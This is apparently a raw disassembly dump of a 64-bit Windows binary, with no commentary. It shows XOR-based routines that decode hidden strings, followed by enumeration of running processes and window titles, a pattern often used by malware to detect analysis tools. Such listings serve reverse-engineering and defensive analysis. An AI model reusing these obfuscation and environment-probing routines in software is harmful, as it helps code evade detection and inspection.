lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013b80
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x650]
call fcn.1400050f0
nop
movsd xmm0, qword [str.cHAzZFFR_MUI_]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff930]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140013cd7
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.cHAzZFFR_MUI_]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140013cf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013d40
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x670]
call fcn.1400050f0
nop
movsd xmm0, qword [str.yBFAdr9]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff940]
mov word [rsp + 0x70], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140013db1
mov byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor byte [rsp + 0x70], 0x38
xor byte [rsp + 0x71], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x690], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6a0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013dd2
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x690]
call fcn.1400050f0
nop
mov rax, qword [str._tf_YE7_Wdp6]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff94f], 0
je 0x140013f4f
cmp r13d, 2
jl 0x140013f16
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x140013f4f
lea r9, [rsp + 0x68]
mov r8d, edi
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140013f20
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6c0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013f70
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6b0]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff950]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff954]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff956]
mov byte [rsp + 0x68], Ordinal_79
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6e0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013ff0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6d0]
call fcn.1400050f0
nop
mov eax, dword [str.zWq_M6]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff95c]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff95e]
mov byte [rsp + 0x68], 0x4a
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x700], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140014070
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6f0]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.bTAAGUR]
movups xmmword [rsp + 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14001422f
cmp r13d, 2
jl 0x1400141f1
movdqa xmm5, xmmword [0x140201780]
mov edx, edi
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400140f0
jmp 0x14001422f
lea r9, [rsp + 0x78]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140014200
xorps xmm0, xmm0
movups xmmword [rbp + 0x710], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x720], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140014250
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x710]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff970]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff974]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x68], 0x63
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xorps xmm0, xmm0
movups xmmword [rbp + 0x730], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x740], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400142c2
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x730]
call fcn.1400050f0
nop
mov eax, dword [str.BTDVFF6]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff97c]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff97e]
mov byte [rsp + 0x68], WSACleanup
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x750], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x760], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140014342
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x750]
call fcn.1400050f0
nop
mov eax, dword [str.xPQXQG6]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff984]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff986]
mov byte [rsp + 0x68], 0x48
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x770], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x780], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400143c2
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x770]
call fcn.1400050f0
nop
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x790]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140007760
nop
lea r9, [fcn.140003990]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx + 0x1e]
lea rcx, [rbp - 0x30]
call fcn.1400b75dc
lea rdx, [rbp + 0x8c0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140014aa5
movabs r14, 0x7fffffffffffffff
mov r15d, reloc.WLDAP32.dll_Ordinal_22
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov r12, rax
test rax, rax
je 0x140014a8e
nop dword [rax]
lea rdx, [rsp + 0x68]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, 0x400
lea rdx, [rbp + 0x9f0]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
lea rax, [rbp + 0x9f0]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400144b1
cmp rdi, r14
ja 0x140014b4e
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x1400144ef
mov qword [rbp - 0x48], rdi
mov r8, rdi
lea rdx, [rbp + 0x9f0]
lea rcx, [rbp - 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x58], 0
jmp 0x14001453a
mov rsi, rdi
or rsi, 0xf
cmp rsi, r14
jbe 0x140014500
mov rsi, r14
jmp 0x140014508
cmp rsi, 0x16
cmovb rsi, r15
lea rdx, [rsi + 1]
lea rcx, [rbp - 0x58]
call fcn.140003540
mov rbx, rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rsi
mov r8, rdi
lea rdx, [rbp + 0x9f0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
cmp rbx, rdi
je 0x1400145ae
lea rdx, [rbp + 0x8c0]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140014450
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140014b0f
lea r8, [rsp + 0x48]
mov rdx, rdi
call fcn.140005230
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014b0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400b7470
mov rcx, qword [rbp + 0xdf0]
xor rcx, rsp
call fcn.1400b7590
lea r11, [rsp + 0xf30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140003520
nop
int3